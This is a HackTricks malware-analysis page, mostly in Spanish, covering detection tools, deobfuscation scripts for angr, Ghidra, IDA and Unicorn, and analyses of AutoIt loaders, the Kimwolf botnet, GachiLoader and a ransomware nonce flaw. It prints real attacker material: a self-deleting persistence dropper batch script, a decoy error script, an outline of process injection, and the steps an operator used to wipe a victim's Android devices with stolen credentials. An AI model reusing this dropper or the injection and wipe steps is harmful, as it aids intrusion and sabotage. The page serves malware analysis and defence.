Análisis de Malware
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Hojas de trucos forenses
https://www.jaiminton.com/cheatsheet/DFIR/#
Servicios online
Antivirus offline y herramientas de detección
Yara
Install
sudo apt-get install -y yara
Prepare rules
Usa este script para descargar y fusionar todas las reglas yara de malware desde github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea el directorio rules y ejecútalo. Esto creará un archivo llamado malware_rules.yar que contiene todas las reglas yara para malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Scan
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Comprobar malware y crear reglas
Puedes usar la herramienta YaraGen para generar reglas yara a partir de un binario. Consulta estos tutoriales: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Instalar
sudo apt-get install -y clamav
Escaneo
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa detecta capabilities potencialmente maliciosas en ejecutables: PE, ELF, .NET. Así que encontrará cosas como tácticas de Att&ck, o capacidades sospechosas como:
- check for OutputDebugString error
- run as a service
- create process
Consíguelo en el Github repo.
IOCs
IOC significa Indicator Of Compromise. Un IOC es un conjunto de condiciones que identifican algún software potencialmente no deseado o malware confirmado. Los Blue Teams usan este tipo de definición para buscar este tipo de archivos maliciosos en sus systems y networks.
Compartir estas definiciones es muy útil, ya que cuando se identifica malware en un ordenador y se crea un IOC para ese malware, otros Blue Teams pueden usarlo para identificar el malware más rápido.
Una herramienta para crear o modificar IOCs es IOC Editor.
Puedes usar herramientas como Redline para buscar IOCs definidos en un dispositivo.
Loki
Loki es un escáner para Simple Indicators of Compromise.
La detección se basa en cuatro métodos de detección:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) es un scanner de malware para Linux, publicado bajo la licencia GNU GPLv2, diseñado en torno a las amenazas que se enfrentan en entornos de hosting compartido. Utiliza datos de amenazas de sistemas de detección de intrusiones en el borde de la red para extraer malware que se está utilizando activamente en ataques y genera firmas para la detección. Además, los datos de amenazas también se derivan de envíos de usuarios con la función checkout de LMD y de recursos de la comunidad de malware.
rkhunter
Herramientas como rkhunter pueden usarse para comprobar el sistema de archivos en busca de posibles rootkits y malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS es una herramienta que intentará encontrar strings ofuscadas dentro de ejecutables usando diferentes técnicas.
PEpper
PEpper comprueba algunas cosas básicas dentro del ejecutable (binary data, entropy, URLs e IPs, algunas reglas de yara).
PEstudio
PEstudio es una herramienta que permite obtener información de ejecutables de Windows como imports, exports, headers, pero también comprobará virus total y encontrará posibles técnicas de Att&ck.
Detect It Easy(DiE)
DiE es una herramienta para detectar si un archivo está encrypted y también encontrar packers.
NeoPI
NeoPI es un script de Python que usa una variedad de statistical methods para detectar contenido obfuscated y encrypted dentro de archivos de texto/script. El propósito previsto de NeoPI es ayudar en la detection of hidden web shell code.
php-malware-finder
PHP-malware-finder hace todo lo posible para detectar obfuscated/dodgy code así como archivos que usan funciones de PHP a menudo usadas en malwares/webshells.
Apple Binary Signatures
Cuando revises alguna malware sample siempre deberías check the signature del binary, ya que el developer que lo firmó puede estar ya related con malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Técnicas de detección
File Stacking
Si sabes que alguna carpeta que contiene los files de un servidor web fue actualizada por última vez en alguna fecha. Comprueba la fecha en que todos los files del web server fueron creados y modificados y, si alguna fecha es sospechosa, revisa ese file.
Baselines
Si los files de una carpeta no deberían haber sido modificados, puedes calcular el hash de los original files de la carpeta y compararlos con los actuales. Todo lo modificado será sospechoso.
Statistical Analysis
Cuando la información se guarda en logs, puedes comprobar estadísticas como cuántas veces se accedió a cada file de un web server, ya que un web shell podría ser una de las más.
Android in-app native telemetry (no root)
En Android, puedes instrumentar código nativo dentro del proceso de la app objetivo precargando una pequeña biblioteca logger antes de que se inicialicen otras libs JNI. Esto da visibilidad temprana del comportamiento nativo sin hooks a nivel de sistema ni root. Un enfoque popular es SoTap: coloca libsotap.so para la ABI correcta dentro del APK e inyecta una llamada a System.loadLibrary(“sotap”) temprano (p. ej., en un static initializer o en Application.onCreate), y luego recoge logs desde rutas internas/externas o como fallback desde Logcat.
Consulta la página de reversing nativo de Android para detalles de configuración y rutas de logs:
Android/JNI native string deobfuscation with angr + Ghidra
Algunos Android malware y apps protegidas por RASP ocultan los nombres y signatures de métodos JNI decodificándolos en tiempo de ejecución antes de llamar a RegisterNatives. Cuando la instrumentación con Frida/ptrace es eliminada por anti-debug, aún puedes recuperar el plaintext offline ejecutando el decoder binario con angr y luego volcando los resultados de vuelta en Ghidra como comentarios.
Idea clave: trata el decoder dentro del .so como una función invocable, ejecútalo sobre los blobs de bytes ofuscados en .rodata y concretiza los bytes de salida hasta el primer \x00 (terminador de C-string). Mantén angr y Ghidra usando la misma image base para evitar desajustes de direcciones.
Resumen del workflow
- Triage en Ghidra: identifica el decoder y su calling convention/arguments en la configuración de JNI_OnLoad y RegisterNatives.
- Ejecuta angr (CPython3) para correr el decoder sobre cada string objetivo y volcar los resultados.
- Anota en Ghidra: auto-comenta las strings decodificadas en cada call site para reconstruir JNI rápidamente.
Triage en Ghidra (patrón JNI_OnLoad)
- Aplica datatypes de JNI a JNI_OnLoad para que Ghidra reconozca estructuras JNINativeMethod.
- JNINativeMethod típico según la documentación de Oracle:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Busca llamadas a RegisterNatives. Si la library construye el name/signature con una rutina local (p. ej., FUN_00100e10) que referencia una tabla estática de bytes (p. ej., DAT_00100bf4) y toma parameters como (encoded_ptr, out_buf, length), ese es un target ideal para ejecución offline.
Configuración de angr (ejecutar el decoder offline)
- Carga el .so con la misma base usada en Ghidra (ejemplo: 0x00100000) y desactiva la carga automática de external libs para mantener el estado pequeño.
Configuración de angr y ejecución offline del decoder
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- A escala, construye un mapa estático de call sites hacia los argumentos del decoder (encoded_ptr, size). Los wrappers pueden ocultar argumentos, así que puedes crear este mapeo manualmente a partir de xrefs de Ghidra si la recuperación de API es ruidosa.
<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Anotar sitios de llamada en Ghidra Opción A: escritor de comentarios solo con Jython (usar un JSON precomputado)
- Como angr requiere CPython3, mantén la deofuscación y la anotación separadas. Primero ejecuta el script de angr anterior para producir decoded_strings.json. Luego ejecuta este GhidraScript de Jython para escribir PRE_COMMENTs en cada sitio de llamada (e incluir el nombre de la función llamadora para contexto):
Script de Jython para Ghidra para anotar strings JNI decodificados
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.
Why this works and when to use it
- Offline execution sidesteps RASP/anti-debug: no ptrace, no Frida hooks required to recover strings.
- Keeping Ghidra and angr base_addr aligned (e.g., 0x00100000) ensures that function/data addresses match across tools.
- Repeatable recipe for decoders: treat the transform as a pure function, allocate an output buffer in a fresh state, call it with (encoded_ptr, out_ptr, len), then concretize via state.solver.eval and parse C-strings up to \x00.
Notes and pitfalls
- Respect the target ABI/calling convention. angr.factory.callable picks one based on arch; if arguments look shifted, specify cc explicitly.
- If the decoder expects zeroed output buffers, initialize outbuf with zeros in the state before the call.
- For position-independent Android .so, always supply base_addr so addresses in angr match those seen in Ghidra.
- Use currentProgram.getReferenceManager() to enumerate call-xrefs even if the app wraps the decoder behind thin stubs.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.
### 1. Locate every indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Extraer el byte-code del dispatcher
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emularlo dos veces con Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Ejecute run(code,0,0) y run(code,1,1) para obtener los objetivos de las ramas false y true.
4. Patch back a direct jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Después de parchear, fuerza a IDA a volver a analizar la función para que se restauren el CFG completo y la salida de Hex-Rays:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Etiqueta las llamadas indirectas a API
Una vez que se conoce el destino real de cada call rax puedes decirle a IDA cuál es para que los tipos de parámetros y los nombres de variables se recuperen automáticamente:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Beneficios prácticos
- Restaura el CFG real → la decompilación pasa de 10 líneas a miles.
- Habilita string-cross-reference y xrefs, haciendo trivial la reconstrucción del comportamiento.
- Los scripts son reutilizables: colócalos en cualquier loader protegido por el mismo truco.
Loaders basados en AutoIt: descifrado de .a3x, suplantación de Task Scheduler e inyección de RAT
Este patrón de intrusión encadena un MSI firmado, loaders de AutoIt compilados a .a3x y un trabajo de Task Scheduler que se hace pasar por una app benigna.
MSI → custom actions → orquestador de AutoIt
Árbol de procesos y comandos ejecutados por las custom actions del MSI:
- MsiExec.exe → cmd.exe para ejecutar install.bat
- WScript.exe para mostrar un cuadro de diálogo de error señuelo
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (deja caer el loader, establece persistencia, se autolimpia):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (user decoy):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Key artifacts and masquerade:
- Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
- Copies schtasks.exe to hwpviewer.exe (se disfraza como Hangul Word Processor viewer)
- Crea una tarea programada “IoKlTr” que se ejecuta cada 1 minuto
- Se ve Startup LNK como Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Prepara módulos bajo subcarpetas %APPDATA%\Google\Browser\ que contienen
adboadvy los inicia mediante helpers autoit.vbs/install.bat
Forensic triage tips:
- Enumeración de schtasks:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Busca copias renombradas de schtasks.exe colocadas junto al Task XML:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Rutas comunes:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Correlaciona la creación de procesos: AutoIt3.exe iniciando binarios legítimos de Windows (p. ej., cleanmgr.exe, hncfinder.exe)
AutoIt loaders and .a3x payload decryption → injection
- Los módulos AutoIt se compilan con
#AutoIt3Wrapper_Outfile_type=a3xy descifran payloads embebidos antes de inyectarlos en procesos benignos. - Familias observadas: QuasarRAT (inyectado en hncfinder.exe) y RftRAT/RFTServer (inyectado en cleanmgr.exe), así como módulos de RemcosRAT (
Remcos\RunBinary.a3x). - Patrón de decryption: derivar una clave AES mediante HMAC, descifrar el blob embebido y luego inyectar el módulo en texto claro.
Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Flujo común de inyección (estilo CreateRemoteThread):
- CreateProcess (suspended) del host objetivo (p. ej., cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory con módulo/shellcode descifrado
- CreateRemoteThread o QueueUserAPC para ejecutar el payload
Ideas de hunting
- AutoIt3.exe con padre MsiExec.exe o WScript.exe lanzando utilidades del sistema
- Archivos con extensiones
.a3xo runners de scripts AutoIt en rutas public/user-writable - Tareas programadas sospechosas que ejecutan AutoIt3.exe o binarios no firmados por Microsoft, con triggers a nivel de minutos
Abuso de account-takeover de Android Find My Device (Find Hub)
Durante la intrusión en Windows, los operadores usaron credenciales robadas de Google para borrar repetidamente los dispositivos Android de la víctima, suprimiendo notificaciones mientras ampliaban el acceso mediante el mensajero de escritorio en sesión de la víctima.
Pasos del operador (desde una sesión de navegador iniciada):
- Revisar Google Account → Security → Your devices; seguir Find My Phone → Find Hub (https://www.google.com/android/find)
- Seleccionar dispositivo → volver a introducir la contraseña de Google → emitir “Erase device” (factory reset); repetir para retrasar la recuperación
- Opcional: borrar e-mails de alerta en el buzón vinculado (p. ej., Naver) para ocultar notificaciones de seguridad
Seguimiento de loaders Node.js fuertemente ofuscados
Los atacantes cada vez más empaquetan loaders JavaScript dentro de binarios Windows autónomos compilados con nexe, de modo que el runtime se distribuye junto con el script. El PE resultante suele pesar 60–90 MB y se ejecuta incluso si Node.js no está instalado. Durante el triage:
- Usa
nexe_unpackerpara extraer el JavaScript incrustado del PE y pasarlo a tooling local para diffing estático. - Espera un mutex en disco en
%TEMP%(GachiLoader deja caer un archivo aleatorio<name>.lockque expira tras unos ~5 minutos). Copiar el archivo al sandbox antes de la ejecución te permite saltarte etapas redundantes y aun así ver payloads posteriores.
Trazado de la API de Node.js para derrotar el anti-analysis
Check Point’s Nodejs-Tracer engancha módulos core dentro de cualquier proceso Node.js, te permite falsificar comprobaciones anti-VM y conserva cada artefacto que escribe la muestra. Lanza scripts ofuscados a través del tracer para mantener la instrumentación controlada por el analista en la call stack:
node -r .\tracer.js main.js
Las toggles clave de configuración dentro de tracer.js te permiten:
- Registrar actividad del filesystem, child-process y HTTP (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Cada archivo descartado—comokidkadi.node—se copia al directorio de trabajo antes de que el malware lo borre. - Sobrescribir fingerprints del entorno devolviendo recuentos realistas de RAM/CPU, falsificando la salida de
tasklisty manipulando respuestas de PowerShell/WMI. Esto elude loaders que exigen ≥4 GB de RAM, ≥2 cores, y que examinan nombres de usuario (mashinesssss,wdagutilityaccount, etc.), hostnames (desktop-vrsqlag,server1…) y nombres de proceso (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Neutralizar comprobaciones de hardware WMI como
Get-WmiObject Win32_DiskDrive(buscandovmware,kvm,virtio, …),Win32_VideoController(bloqueando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) y recuentos deWin32_PortConnector. Cuando esas sondas reportan hardware “real”, los sandboxes ya no caen en el bucle infinito de llamadas benignasInvoke-WebRequestalinkedin.com,grok.com,whatsapp.comy dominios similares que GachiLoader usa para hacer perder tiempo al análisis.
Capturing gated C2 traffic automatically
Los network hooks del tracer revelan autenticación C2 multinivel sin necesidad de reversear la ofuscación JavaScript. En la campaña observada, el loader:
- Envía por POST la telemetría del host a
/logen cada C2 hard-coded. - Emite
GET /richfamily/<per-sample key>conX-Secret: gachifamilypara recuperar una URL de payload codificada en Base64. - Realiza un
GETfinal a esa URL con un headerX-Secretlargo y específico por muestra; si falta, devuelve403 Forbidden.
Como el tracer registra las solicitudes completas (headers, bodies, destinos), puedes reproducir el mismo tráfico para extraer payloads, volcar shells de Themida/VMProtect en memoria y obtener los datos de configuración de Rhadamanthys a escala.
AdaptixC2: Configuration Extraction and TTPs
See the dedicated page:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- APKs maliciosas como
com.n2.systemservice06*incluyen un ELF ARM enlazado estáticamente dentro deres/raw(p. ej.R.raw.libniggakernel). Un receiverBOOT_COMPLETEDse ejecuta al inicio, extrae el recurso raw al sandbox de la app (p. ej./data/data/<pkg>/niggakernel), lo hace ejecutable y lo invoca consu. - Muchas Android TV boxes/tablets traen imágenes pre-rooted o
sucon permisos de escritura globales, así que el loader arranca de forma fiable el ELF con UID 0 incluso sin una cadena de exploit. La persistencia viene “gratis” porque el receiver se relanza tras cada reboot o reinicio de la app. - Los reverse engineers que busquen este patrón pueden comparar
AndroidManifest.xmlpara detectar hidden boot receivers junto con código que referenciaResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su"). Una vez soltado el ELF, trátalo como un backdoor de Linux userland (Kimwolf está empaquetado con UPX, stripped, enlazado estáticamente, ARM EABI5 de 32 bits).
Runtime mutexes & masquerading IOCs
- Al iniciarse, Kimwolf enlaza un abstract UNIX domain socket como
@niggaboxv4/@niggaboxv5. Los sockets existentes fuerzan la salida, así que el nombre del socket funciona a la vez como mutex y como artefacto forense. - El título del proceso se sobrescribe con nombres que parecen de servicio (
netd_services,tv_helper, etc.) para mezclarse con los listados de procesos de Android. Las detecciones basadas en host pueden alertar sobre estos nombres combinados con el socket mutex.
Stack XOR string decoding with ARM NEON + flare_emu
- Las strings sensibles (dominios C2, resolvers, endpoints DoT) se colocan en la stack en bloques cifrados de 8 bytes y se decodifican in-place mediante
VEOR Qx, Qx, Qy(veorq_s64). Los analysts pueden automatizar flare_emu para capturar el puntero descifrado cada vez que el decryptor se lo entrega al caller:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Buscando secuencias
VEOR Q8, Q8, Q9/veorq_s64y emulando sus rangos, se vuelcan masivamente todas las cadenas descifradas, eludiendo la vida útil solo en stack del plaintext.
Resolución DNS-over-TLS más derivación XOR de IP
- Todas las variantes de Kimwolf resuelven dominios C2 hablando DNS-over-TLS (TCP/853) directamente con Google (8.8.8.8) o Cloudflare (1.1.1.1), derrotando el registro o secuestro de DNS plano.
- Los bots v4 simplemente usan el registro A IPv4 devuelto. Los bots v5 tratan el registro A como un entero de 32 bits, intercambian su endianness, le aplican XOR con la constante
0x00ce0491, y luego vuelven a intercambiar el endianness para obtener la IP real de C2. Receta de CyberChef: Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
ENS / fallback de EtherHiding
- Las compilaciones posteriores añaden un dominio ENS (
pawsatyou.eth) cuyo resolver text key"lol"almacena una IPv6 de aspecto benigno (fed0:5dec:...:1be7:8599). - El bot toma los últimos cuatro bytes (
1b e7 85 99), los XOR con0x93141715e interpreta el resultado como una C2 IPv4 (136.243.146.140). Actualizar el ENS text record rota instantáneamente los C2 downstream a través de la blockchain sin tocar DNS.
Canal de comandos autenticado con TLS + ECDSA
- El tráfico se encapsula en wolfSSL con un protocolo con formato personalizado:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: el bot envía dos encabezados vacíos
MsgType=0 (register). El C2 responde conMsgType=1 (verify)que contiene un challenge aleatorio más una firma ASN.1 DER ECDSA. Los bots lo verifican contra un blob SubjectPublicKeyInfo incrustado; los fallos terminan la sesión, evitando que nodos C2 secuestrados/sinkholeados puedan asignar tareas a la fleet. - Una vez verificado, el bot envía un cuerpo
MsgType=0que lleva el group string definido por el operador (p. ej.android-postboot-rt). Si el grupo está habilitado, el C2 responde conMsgType=2 (confirm), tras lo cual comienza el tasking (MsgType 5–12). - Los verbos soportados incluyen proxying TCP/UDP estilo SOCKS (monetización de residential proxy), reverse shell / ejecución de un solo comando, lectura/escritura de archivos, y payloads Mirai-compatible DDoSBody (mismo layout
AtkType,Duration,Targets[],Flags[]).
Ransomware con partial-encryption: nonces de stream-cipher perdidos
Algunas familias de ransomware cifran parcialmente archivos para ir más rápido, pero cuando usan un stream cipher de forma independiente en múltiples chunks, cada región cifrada necesita su propio nonce/IV persistido. Si la muestra genera un nonce nuevo por chunk y sobrescribe el mismo buffer de 12 bytes dentro del bucle, y luego solo añade el valor final al disco, los chunks anteriores quedan criptográficamente irrecuperables incluso si más tarde el atacante comparte la key.
Patrón roto típico:
for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12); // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12); // only the last nonce survives
References
- Unit42 – Tácticas evolutivas de SLOW#TEMPEST: Una inmersión profunda en técnicas avanzadas de malware
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
- Check Point Research – VECT: Ransomware by design, Wiper by accident
- Libsodium documentation – ChaCha20 stream cipher APIs
- RFC 8439 – ChaCha20 and Poly1305 for IETF Protocols
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


